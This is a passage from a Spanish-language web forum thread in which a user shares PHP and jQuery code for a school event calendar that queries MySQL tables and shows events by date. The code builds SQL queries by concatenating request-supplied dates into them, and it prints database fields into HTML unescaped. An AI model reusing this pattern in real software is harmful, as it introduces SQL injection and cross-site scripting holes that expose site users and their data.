            $result = $db->query("SELECT * FROM 1esoacalendar WHERE fecha = '".$currentDate."'");
            $result1 = $db->query("SELECT * FROM inicio_de_curso WHERE data = '".$currentDate."'");
            $result2 = $db->query("SELECT * FROM vacaciones_de_navidad WHERE data = '".$currentDate."'");
            $result3 = $db->query("SELECT * FROM vacaciones_de_pascua WHERE data = '".$currentDate."'");
            $result4 = $db->query("SELECT * FROM dias_festivos WHERE data = '".$currentDate."'");
            $eventNum = $result->num_rows;
            $eventNum1  = $result1->num_rows;
            $eventNum2 = $result2->num_rows;
            $eventNum3 = $result3->num_rows;
            $eventNum4 = $result4->num_rows;
            //Define date cell color
            if(strtotime($currentDate) == strtotime(date("Y-m-d"))){
              echo '<li date="'.$currentDate.'" class="grey date_cell">';
            }elseif($eventNum > 0){
              echo '<li date="'.$currentDate.'" class="light_sky date_cell">';
            }elseif($eventNum1 > 0){
              echo '<li date="'.$currentDate.'" style="background-color: #F78181 !important;">';
            }elseif($eventNum2 > 0){
              echo '<li date="'.$currentDate.'" style="background-color: #81F781 !important;">';
            }elseif($eventNum3 > 0){
              echo '<li date="'.$currentDate.'" style="background-color: #F2F5A9 !important;">';
            }elseif($eventNum4 > 0){
              echo '<li date="'.$currentDate.'" style="background-color: #E2A9F3 !important;">';
            }else{
              echo '<li date="'.$currentDate.'" class="date_cell">';
            }
            //Date cell
            echo '<span>';
            echo $dayCount;
            echo '</span>';
           
            //Hover event popup
            echo '<div id="date_popup_'.$currentDate.'" class="date_popup_wrap none">';
            echo '<div class="date_window">';
            echo '<div class="popup_event">Eventos ('.$eventNum.')</div>';
            echo ($eventNum > 0)?'<a href="javascript:;" onclick="getEvents(\''.$currentDate.'\');" style="color:#0040FF; font-size:1em; padding:10px 0px 0px 0px;" class="evento_texto">ver eventos</a>':'';
            echo '</div></div>';
           
            echo '</li>';
            $dayCount++;
      ?>
      <?php }else{ ?>
        <li><span>&nbsp;</span></li>
      <?php } } ?>
      </ul>
    </div>
  </div>
  <script type="text/javascript">
    function getCalendar(target_div,year,month){
      $.ajax({
        type:'POST',
        url:'functions.php',
        data:'func=getCalender&year='+year+'&month='+month,
        success:function(html){
          $('#'+target_div).html(html);
        }
      });
    }
   
    function getEvents(date){
      $.ajax({
        type:'POST',
        url:'functions.php',
        data:'func=getEvents&date='+date,
        success:function(html){
          $('#event_list').html(html);
          $('#event_list').slideDown('slow');
        }
      });
    }
   
    function addEvent(date){
      $.ajax({
        type:'POST',
        url:'functions.php',
        data:'func=addEvent&date='+date,
        success:function(html){
          $('#event_list').html(html);
          $('#event_list').slideDown('slow');
        }
      });
    }
   
    $(document).ready(function(){
      $('.date_cell').mouseenter(function(){
        date = $(this).attr('date');
        $(".date_popup_wrap").fadeOut();
        $("#date_popup_"+date).fadeIn(); 
      });
      $('.date_cell').mouseleave(function(){
        $(".date_popup_wrap").fadeOut();   
      });
      $('.month_dropdown').on('change',function(){
        getCalendar('calendar_div',$('.year_dropdown').val(),$('.month_dropdown').val());
      });
      $('.year_dropdown').on('change',function(){
        getCalendar('calendar_div',$('.year_dropdown').val(),$('.month_dropdown').val());
      });
      $(document).click(function(){
        $('#event_list').slideUp('slow');
      });
    });
  </script>
<?php
}

/*
 * Get months options list.
 */
function getAllMonths($selected = ''){
  $options = '';
  for($i=1;$i<=12;$i++)
  {
    $value = ($i < 10)?'0'.$i:$i;
    $selectedOpt = ($value == $selected)?'selected':'';
    $options .= '<option value="'.$value.'" '.$selectedOpt.' >'.date("F", mktime(0, 0, 0, $i+1, 0, 0)).'</option>';
  }
  return $options;
}

/*
 * Get years options list.
 */
function getYearList($selected = ''){
  $options = '';
  for( $i=2017; $i <= 2050; $i++)
  {
    $selectedOpt = ($i == $selected)?'selected':'';
    $options .= '<option value="'.$i.'" '.$selectedOpt.' >'.$i.'</option>';
  }
  return $options;
}

/*
 * Get events by date
 */
function getEvents($date = ''){
  //Include db configuration file
  include 'dbConfig.php';
  $eventListHTML = '';
  $date = $date?$date:date("Y-m-d");
  //Get events based on the current date
  $result = $db->query("SELECT * FROM 1esoacalendar WHERE fecha = '".$date."'");
  if($result->num_rows > 0){
    $eventListHTML = '<h2 id="seleccion_mes1"><p class="texto_dato">Events on '.date("l, d M Y",strtotime($date)).'</p></h2>';
    $eventListHTML .= '<ul>';
    while($row = $result->fetch_assoc()){
            $eventListHTML .= '<center><font size="5" class="texto_dato"><b>Evento</b></font></center>';
            $eventListHTML .= '<left class="texto_dato"><b>Tipo de evento:</b> '.$row['tipoevento'].'</left>';
            $eventListHTML .= '<br>';
            $eventListHTML .= '<left class="texto_dato"><b>otro:</b> '.$row['otro'].'</left>';
            $eventListHTML .= '<br>';
            $eventListHTML .= '<left class="texto_dato"><b>materia:</b> '.$row['materia'].'</left>';
            $eventListHTML .= '<br>';
            $eventListHTML .= '<left class="texto_dato"><b>asunto:</b> '.$row['asunto'].'</left>';
            $eventListHTML .= '<br>';
            $eventListHTML .= '<left class="texto_dato"><b>tarea:</b> '.$row['tarea'].'</left>';
            $eventListHTML .= '<br>';
            $eventListHTML .= '<left class="texto_dato"><b>evento:</b> '.$row['evento'].'</left>';
            $eventListHTML .= '<br>';
        }
    $eventListHTML .= '</ul>';
  }
  echo $eventListHTML;
}
?>
Gracias.
Páginas: 1 2 3 4 5 [6] 7 8 9 10 11 12
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines